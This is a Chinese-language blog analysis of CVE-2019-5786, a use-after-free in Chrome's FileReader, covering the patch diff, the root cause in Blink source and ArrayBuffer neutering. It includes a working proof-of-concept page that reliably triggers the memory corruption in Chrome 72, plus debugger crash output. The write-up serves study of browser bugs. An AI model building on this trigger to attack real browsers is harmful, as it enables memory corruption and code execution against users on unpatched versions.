CVE-2019-5786 Chrome FileReader UAF 漏洞分析

0x01. 漏洞简介

准备用业余时间学习一点浏览器漏洞利用相关的知识,刚好最近 Chrome 爆出来一个野外利用漏洞 CVE-2019-5786 ,而且网上也有两篇比较详细的分析报告(来自 Exodus IntelligenceMcAfee Labs),刚好可以借鉴学习一下漏洞的原理以及利用技巧。

Chrome 72.0.3626.121 的 安全公告 显示,漏洞 CVE-2019-5786 由 Google Threat Analysis Group 的 Clement Lecigne 发现其被利用于野外攻击(配合 Windows 内核空指针漏洞 CVE-2019-0808 可实现 Windows 7 下的提权操作)。

0x02. 漏洞分析

2.1 FileReader

Chrome 的安全公告指明该 UAF 漏洞位于 FileReader 中,因此在进行具体的漏洞分析工作之前,有必要简单了解一下 FileReader 对象的用法。FileReader 可以实现对文件内容(File)或者缓冲区数据(Blob)的异步读取,其中几个重要的属性或者回调函数如下所示。

  • readyState 表示读取状态
    • EMPTY,0,尚未读取任何数据
    • LOADING,1,正在读取数据
    • DONE,2,数据读取完成
  • result 表示读取结果,具体的格式与数据的读取方式有关
    • readAsArrayBuffer
    • readAsBinaryString
    • readAsDataURL
    • readAsText
  • onprogress 回调函数
    • 读取 Blob 时触发
    • 当数据比较多时可能会周期性触发多次
  • onloadend 回调函数
    • 读取操作完成时触发,不管最终读取成功还是失败

下面是 FileReader 的一段简单示例代码(读取长度为 100MB 的字符串到 ArrayBuffer 中):

<script>
var size = 100 * 1024 * 1024;
var string = 'A'.repeat(size);
var blob = new Blob([string]);
var reader = new FileReader();

reader.onprogress = function(event) {
console.log('current read bytes: ' + event.target.result.byteLength);
}

reader.onloadend = function(event) {
console.log('read as ArrayBuffer: ' + event.target.result);
}

reader.readAsArrayBuffer(blob);
</script>

因为待读取的内容比较大,因此可以看到 onprogress 回调函数被多次触发:

current read bytes: 69730304
current read bytes: 104660992
current read bytes: 104857600
read as ArrayBuffer: [object ArrayBuffer]

2.2 漏洞分析

2.2.1 代码查看

由于众所周知的原因,在国内下载 Chromium 的源码是非常不方便的,另外如果电脑配置一般的话,在 Visual Studio 中查看和编译代码也是一件非常痛苦的事情,因此笔者推荐使用 Chromium 的在线浏览代码功能,因为支持查找和跳转,使用起来非常方便。查看代码的 URL 格式非常简单,指明文件路径、CL 版本(Change List 版本,即 GIT 提交时创建的 HASH 值)、代码行号即可。

https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/fileapi/file_reader_loader.cc?cl=1675c51b1d83160a8b7061f38bb722b2c43937b4&l=137

2.2.2 补丁对比

从 Chrome 的安全公告可知漏洞的内部 ID 为 936448 ,尽管漏洞报告暂时不可访问,但是基于漏洞 ID 可以找到补丁的提交记录 150407e (上一版本为 1675c51 )。

补丁之前的代码如下所示(src/third_party/blink/renderer/core/fileapi/file_reader_loader.cc:137):

DOMArrayBuffer* FileReaderLoader::ArrayBufferResult() {
DCHECK_EQ(read_type_, kReadAsArrayBuffer);
if (array_buffer_result_)
return array_buffer_result_;
// If the loading is not started or an error occurs, return an empty result.
if (!raw_data_ || error_code_ != FileErrorCode::kOK)
return nullptr;
DOMArrayBuffer* result = DOMArrayBuffer::Create(raw_data_->ToArrayBuffer());
if (finished_loading_) {
array_buffer_result_ = result;
AdjustReportedMemoryUsageToV8(
-1 * static_cast<int64_t>(raw_data_->ByteLength()));
raw_data_.reset();
}
return result;
}

补丁之后的代码如下所示(src/third_party/blink/renderer/core/fileapi/file_reader_loader.cc:137):

DOMArrayBuffer* FileReaderLoader::ArrayBufferResult() {
DCHECK_EQ(read_type_, kReadAsArrayBuffer);
if (array_buffer_result_)
return array_buffer_result_;
// If the loading is not started or an error occurs, return an empty result.
if (!raw_data_ || error_code_ != FileErrorCode::kOK)
return nullptr;
if (!finished_loading_) {
return DOMArrayBuffer::Create(
ArrayBuffer::Create(raw_data_->Data(), raw_data_->ByteLength()));
}
array_buffer_result_ = DOMArrayBuffer::Create(raw_data_->ToArrayBuffer());
AdjustReportedMemoryUsageToV8(-1 *
static_cast<int64_t>(raw_data_->ByteLength()));
raw_data_.reset();
return array_buffer_result_;
}

在补丁之前,下面这行代码可能会被多次调用:

DOMArrayBuffer* result = DOMArrayBuffer::Create(raw_data_->ToArrayBuffer());

在补丁之后,上面的代码仅会被调用一次,取而代之的是下面这行代码可能会被多次调用:

DOMArrayBuffer::Create(
ArrayBuffer::Create(raw_data_->Data(), raw_data_->ByteLength()));

所以这里关键的差异点在于 多次调用 下面两行代码的差异:

// before patch
raw_data_->ToArrayBuffer()
// after patch
ArrayBuffer::Create(raw_data_->Data(), raw_data_->ByteLength())

2.2.3 漏洞分析

如无特殊说明,本文所有代码均基于有漏洞的版本(1675c51b1d83160a8b7061f38bb722b2c43937b4)进行分析。

  1. 函数 FileReaderLoader::ArrayBufferResultraw_data_ 的定义如下所示(src/third_party/blink/renderer/core/fileapi/file_reader_loader.h:157):
std::unique_ptr<ArrayBufferBuilder> raw_data_;
  1. ArrayBufferBuilder::ToArrayBuffer 的定义如下所示(src/third_party/blink/renderer/platform/wtf/typed_arrays/array_buffer_builder.cc:103):
scoped_refptr<ArrayBuffer> ArrayBufferBuilder::ToArrayBuffer() {
// Fully used. Return m_buffer as-is.
if (buffer_->ByteLength() == bytes_used_)
return buffer_;

return buffer_->Slice(0, bytes_used_);
}
  1. 先看 buffer_ 的类型,后续再深入分析ArrayBufferBuilder::ToArrayBuffersrc/third_party/blink/renderer/platform/wtf/typed_arrays/array_buffer_builder.h:94):
namespace WTF {
class WTF_EXPORT ArrayBufferBuilder final {
// ------------------ cut ------------------
private:
// ------------------ cut ------------------
unsigned bytes_used_;
bool variable_capacity_;
scoped_refptr<ArrayBuffer> buffer_;
// ------------------ cut ------------------
};
}
  1. ArrayBuffer::Slice 的定义如下所示(src/third_party/blink/renderer/platform/wtf/typed_arrays/array_buffer.h:259):
scoped_refptr<ArrayBuffer> ArrayBuffer::Slice(int begin, int end) const {
return SliceImpl(ClampIndex(begin), ClampIndex(end));
}

scoped_refptr<ArrayBuffer> ArrayBuffer::SliceImpl(unsigned begin,
unsigned end) const {
size_t size = static_cast<size_t>(begin <= end ? end - begin : 0);
return ArrayBuffer::Create(static_cast<const char*>(Data()) + begin, size);
}
  1. ArrayBuffer::Create 的定义如下所示(src/third_party/blink/renderer/platform/wtf/typed_arrays/array_buffer.h:144):
scoped_refptr<ArrayBuffer> ArrayBuffer::Create(const void* source,
size_t byte_length) {
ArrayBufferContents contents(byte_length, 1, ArrayBufferContents::kNotShared,
ArrayBufferContents::kDontInitialize);
if (UNLIKELY(!contents.Data()))
OOM_CRASH();
scoped_refptr<ArrayBuffer> buffer = base::AdoptRef(new ArrayBuffer(contents));
memcpy(buffer->Data(), source, byte_length);
return buffer;
}

现在回到第 2 步,在函数 ArrayBufferBuilder::ToArrayBuffer 中,如果 buffer_ 的空间满了,则直接返回 buffer_ 本身,否则调用 ArrayBuffer::Slice 返回一个 ArrayBuffer 副本。

最后看一下 DOMArrayBuffer::Create 的定义,注意该函数有多个重载,触发漏洞所用的定义如下所示(src/third_party/blink/renderer/core/typed_arrays/dom_array_buffer.h:20):

namespace blink {
class CORE_EXPORT DOMArrayBuffer final : public DOMArrayBufferBase {
// ------------------ cut ------------------
public:
static DOMArrayBuffer* Create(scoped_refptr<WTF::ArrayBuffer> buffer) {
return MakeGarbageCollected<DOMArrayBuffer>(std::move(buffer));
}
// ------------------ cut ------------------
explicit DOMArrayBuffer(scoped_refptr<WTF::ArrayBuffer> buffer)
: DOMArrayBufferBase(std::move(buffer)) {}
// ------------------ cut ------------------
};
}

这个函数比较简单,就是基于 WTF::ArrayBuffer 创建 blink::DOMArrayBuffer ,不要被 std::move 所迷惑,这里只是针对函数形参 scoped_refptr<WTF::ArrayBuffer> buffer 进行 move ,不影响形参智能指针所指向的具体对象。

那么,这里的漏洞到底是如何产生的呢?回到有问题的 FileReaderLoader::ArrayBufferResult 函数,如果在数据读取完毕时刚好触发了 onprogress 回调函数(注意此时尚未触发 onloadend 函数),因为数据已经读取完毕,函数 ArrayBufferBuilder::ToArrayBuffer 直接返回 buffer_ ,在此过程中,没副本产生!当回调函数 onloadend 触发时,返回的 ArrayBuffer 将会与 onprogress 返回的 ArrayBuffer 共享同一 backing store (即底层存储数据用的堆块)!当手上有两个这样的 ArrayBuffer 时,可以先释放其中一个,那么访问另一个时将导致 UAF

那么,你是否也会怀疑,在数据读取完毕的时候真的会出现先后触发 onprogressonloadend 的情况吗?笔者也有这样的疑问,但是本文前面提供的 FileReader 测试代码的运行结果表明,确实就有这样的情况:最后一次触发 onprogress 回调函数时,读取的数据长度为 104857600 ,表明数据已经读取完毕。

在补丁之后的代码中,如果 finished_loading_ 尚未标记,那么总是调用 ArrayBuffer::Create 返回一个 ArrayBuffer 副本,这样就避免了两个 ArrayBuffer 共享同一 backing store 的情况的出现。

2.3 POC 构造

2.3.1 ArrayBuffer Neutering

在构造 POC 之前,先学习一下怎么释放一个 ArrayBuffer 的 backing store 。通常而言,可以通过转移 ArrayBuffer (比如转移给另一个线程)来实现底层堆块的释放,这称之为 Neuter 。在 V8 中,ArrayBuffer 提供了 Neuter 方法,代码如下所示(src/v8/include/v8.h:4819):

/**
* Detaches this ArrayBuffer and all its views (typed arrays).
* Detaching sets the byte length of the buffer and all typed arrays to zero,
* preventing JavaScript from ever accessing underlying backing store.
* ArrayBuffer should have been externalized and must be detachable.
*/
void Detach();

// TODO(913887): fix the use of 'neuter' in the API.
V8_DEPRECATE_SOON("Use Detach() instead.", inline void Neuter()) { Detach(); }

/**
* Make this ArrayBuffer external. The pointer to underlying memory block
* and byte length are returned as |Contents| structure. After ArrayBuffer
* had been externalized, it does no longer own the memory block. The caller
* should take steps to free memory when it is no longer needed.
*
* The Data pointer of ArrayBuffer::Contents must be freed using the provided
* deleter, which will call ArrayBuffer::Allocator::Free if the buffer
* was allocated with ArraryBuffer::Allocator::Allocate.
*/
Contents Externalize();

可以看到,调用 Neuter 时 ArrayBuffer 已经被 Externalized 了,此时 ArrayBuffer 的 backing store 已经被调用方所释放了。

Neuter 一个 ArrayBuffer 的常规做法是把它转移给一个工作者线程( Web Workers )。与桌面软件一样,JavaScript 默认的执行线程为 UI 线程,如果要执行复杂的计算工作,应当新建一个工作者线程来执行任务,以防止 UI 失去响应。

在 JavaScript 中,各线程之间通过 postMessage 实现数据的发送、通过 onmessage 回调函数实现消息的相应。线程之间的数据传递是通过复制(而不是共享)来实现的,因此传递对象时会经历序列化和反序列化的过程,即传出时进行序列化,传入时进行反序列化。大多数浏览器通过 Structured clone algorithm 来实现这一特性。

如果要传递的对象实现了 Transferable 接口,那么可以实现数据的高效转移,即并不复制数据,而是通过直接转移所有权来实现传递。对于这种传递方式,因为直接转移了所有权,因此原有线程不再享有对象数据的访问权限。ArrayBuffer 就是以这样的方式转移的,但这里笔者有一个 疑问 :实际情况中,原有 ArrayBuffer 的 backing store 会被释放,显然在接收线程中会有新的堆块的分配以及数据的复制,并不是简单的修改指针的指向,这和 MDN 的文档描述的高效理念是冲突的。

线程相关的两个重要概念定义如下:

  • postMessage 发送消息

    worker.postMessage(message, [transfer]);
    • message 表示要传递的数据
    • 如果有实现了 Transferable 的对象,可以以数组元素的方式放到第二个参数中,以提高传递效率,但是在第一个参数中需要指定一个引用,以方便目标线程接收
  • onmessage 响应消息

    myWorker.onmessage = function(e) { ... }
    • 通过事件的 data 属性访问接收到的数据

一个简单的例子如下所示:

<!-- main.html 的代码 -->
<script>
var ab = new ArrayBuffer(0x1000);
var worker = new Worker('worker.js');
console.log('Main thread: before postMessage, ab.byteLength is ' + ab.byteLength);
worker.postMessage(ab, [ab]);
console.log('Main thread: after postMessage, ab.byteLength is ' + ab.byteLength);
</script>
// worker.js 的代码
onmessage = function(message) {
var ab = message.data;
console.log('Worker thread: received: ' + ab);
console.log('Wroker thread: ArrayBuffer.byteLength is : ' + ab.byteLength);
}

输出如下所示:

Main thread: before postMessage, ab.byteLength is 4096
Main thread: after postMessage, ab.byteLength is 0
Worker thread: received: [object ArrayBuffer]
Wroker thread: ArrayBuffer.byteLength is : 4096

McAfee Labs 的文章提到,使用 AudioContext.decodeAudioData 同样可以实现 ArrayBuffer 的 Neuter

<script>
var ab = new ArrayBuffer(0x1000);
var context = new AudioContext();
console.log('Before decodeAudioData, ab.byteLength is ' + ab.byteLength);
context.decodeAudioData(ab,
function(buffer) {
console.log('decode succeed: ' + buffer);
},
function(e) {
console.log('decode failed: ' + e);
}
);
console.log('After decodeAudioData, ab.byteLength is ' + ab.byteLength);
</script>

由测试结果可知,不管解码成功与否,ArrayBuffer 都会被转移:

Before decodeAudioData, ab.byteLength is 4096
After decodeAudioData, ab.byteLength is 0
decode failed: EncodingError: Unable to decode audio data

2.3.2 POC 构造

分析清楚了漏洞的底层原理,写 POC 就是很简单的事情了,笔者构造的 POC 代码如下所示。

<!-- poc.html -->
<script>
var ab1, ab2;
var byteLength = 100 * 1024 * 1024;

function onProgress(event) {
if (ab1.byteLength != byteLength) {
ab1 = event.target.result;
}
}

function onLoadEnd(event) {
ab2 = event.target.result;
if (ab1 != ab2 && ab1.byteLength == ab2.byteLength) {
var flag = 0x61616161;
new DataView(ab1).setUint32(0, flag, true);
if (new DataView(ab2).getUint32(0, true) == flag) {
console.log('verify succeed! try crash self...');
crash();
return;
} else {
console.log('verify failed, retry now...');
}
} else {
console.log('failed this time, retry now...');
}
window.setTimeout(init, 1000);
}

function init() {
ab1 = ab2 = new ArrayBuffer(0);
var string = 'A'.repeat(byteLength);
var blob = new Blob([string]);
var reader = new FileReader();
reader.onprogress = onProgress;
reader.onloadend = onLoadEnd;
reader.readAsArrayBuffer(blob);
}

function crash() {
var worker = new Worker('worker.js');
try {
worker.postMessage(ab1, [ab1, ab2]);
} catch(e) {
var errmsg = 'ArrayBuffer at index 1 could not be transferred';
if (e.message.indexOf(errmsg) != -1) {
var dv = new DataView(ab2);
dv.setUint32(4, 0x42424242, true);
} else {
window.setTimeout(init, 1000);
}
}
}

init();
</script>
// worker.js
onmessage = function(message) {
}

这里向工作者线程 postMessage 的小技巧参考了 Exodus Intelligence 的代码。注意 postMessage 本身也是异步执行的,也就是调用之后会立刻返回,如果是下面这样的写法,可能无法触发 Crash ,因为主线程中 ArrayBuffer 的 backing store 可能还没有被释放。

worker.postMessage(ab1, [ab1]);
var dv = new DataView(ab2);
dv.setUint32(4, 0x42424242, true);

而如果采用 worker.postMessage(ab1, [ab1, ab2]) 这样的写法,当 ab1 传送完毕之后传送 ab2 时会抛出一个异常,此时主线程中 ArrayBuffer 的 backing store 已经被释放,可以非常稳定的触发 UAF 操作。

Uncaught DOMException: Failed to execute ‘postMessage’ on ‘Worker’: ArrayBuffer at index 1 could not be transferred.

查看 Chrome Stable 版本的发布历史,可以知道 72.0.3626.121 的上一个版本号为 72.0.3626.119 ,因此可以下载该版本的 Chrome 进行测试。测试时注意屏蔽 Internet 访问,否则可能会自动升级。测试上面的 POC 代码可以发现,漏洞的触发非常稳定。

CVE-2019-5786 Chrome FileReader ArrayBuffer UAF

如果将 WinDbg 附加到 Chrome 的网页渲染进程(可以打开 Chrome 的任务管理器来查看进程 PID ),可以捕获到相关的异常信息。

(74c.2a4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000004 ebx=02b30ec8 ecx=00000042 edx=00000042 esi=00000042 edi=2b404000
eip=5f625606 esp=0021ecc0 ebp=0021ece8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
chrome_child!ovly_debug_event+0x10c1fa6:
5f625606 881407 mov byte ptr [edi+eax],dl ds:0023:2b404004=??

0:000> r edi
edi=2b404000

0:000> r eax
eax=00000004

0:000> r dl
dl=42

0x03. 小结

这次 漏洞分析 尽管花费了一定的休息时间,但是作为第一个浏览器漏洞,在分析的过程中还是学到了不少东西,希望下次有时间可以学习一下这个漏洞的 Exploit 的编写。

请作者喝杯咖啡☕